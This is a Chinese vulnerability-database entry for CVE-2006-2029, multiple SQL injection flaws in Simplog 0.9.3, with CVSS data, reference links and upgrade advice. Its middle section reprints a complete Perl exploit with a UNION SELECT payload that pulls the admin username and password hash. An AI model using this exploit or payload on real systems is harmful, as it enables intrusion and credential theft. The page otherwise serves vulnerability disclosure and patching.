CVE-2006-2029
CVSS6.4
发布时间 :2006-04-25 20:06:00
修订时间 :2011-03-07 21:34:50
NMCOE    

[原文]Multiple SQL injection vulnerabilities in Jeremy Ashcraft Simplog 0.9.3 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) tid parameter in (a) preview.php; the (2) cid, (3) pid, and (4) eid parameters in (b) archive.php; and the (5) pid parameter in (c) comments.php.


[CNNVD]Jeremy Ashcraft Simplog 多个SQL注入漏洞(CNNVD-200604-473)

        Jeremy Ashcraft Simplog 0.9.3及之前的版本中存在多个SQL注入漏洞。这使得远程攻击者可以借助于(a) preview.php中的(1) tid参数,(b) archive.php中的(2) id、(3)pid和(4)eid参数,以及(c) comments.php中的(5) pid参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2029
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2029
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-473
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1493
(UNKNOWN)  VUPEN  ADV-2006-1493
http://www.securityfocus.com/archive/1/archive/1/431760/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060421 Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities.
http://www.osvdb.org/24879
(UNKNOWN)  OSVDB  24879
http://www.osvdb.org/24878
(UNKNOWN)  OSVDB  24878
http://www.osvdb.org/24877
(UNKNOWN)  OSVDB  24877
http://www.nukedx.com/?getxpl=25
(UNKNOWN)  MISC  http://www.nukedx.com/?getxpl=25
http://securitytracker.com/id?1015976
(UNKNOWN)  SECTRACK  1015976
http://secunia.com/advisories/19764
(UNKNOWN)  SECUNIA  19764
http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0649.html
(UNKNOWN)  FULLDISC  20060423 RE: Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities.
http://xforce.iss.net/xforce/xfdb/25982
(UNKNOWN)  XF  simplog-multiple-sql-injection(25982)
http://www.simplog.org/archive.php?blogid=1&pid=57
(UNKNOWN)  CONFIRM  http://www.simplog.org/archive.php?blogid=1&pid=57
http://securityreason.com/securityalert/799
(UNKNOWN)  SREASON  799

- 漏洞信息

Jeremy Ashcraft Simplog 多个SQL注入漏洞
中危 SQL注入
2006-04-25 00:00:00 2006-08-11 00:00:00
远程  
        Jeremy Ashcraft Simplog 0.9.3及之前的版本中存在多个SQL注入漏洞。这使得远程攻击者可以借助于(a) preview.php中的(1) tid参数,(b) archive.php中的(2) id、(3)pid和(4)eid参数,以及(c) comments.php中的(5) pid参数执行任意SQL命令。

- 公告与补丁

        

- 漏洞信息 (1705)

Simplog <= 0.9.3 (tid) Remote SQL Injection Exploit (EDBID:1705)
php webapps
2006-04-21 Verified
0 nukedx
N/A [点击下载]
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=25
#Usage: simplog.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-25\r\n";
  print "- Simplog <= 0.93 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to Simplog ex: /simplog/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "preview.php?adm=tem&blogid=1&tid=";
  $spxp     = "-1/**/UNION/**/SELECT/**/concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
		

- 漏洞信息

24877
Simplog preview.php tid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

Simplog contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the preview.php script not properly sanitizing user-supplied input to the 'tid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-04-24 2006-04-21
Unknow Unknow

- 解决方案

Upgrade to version 0.9.3.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站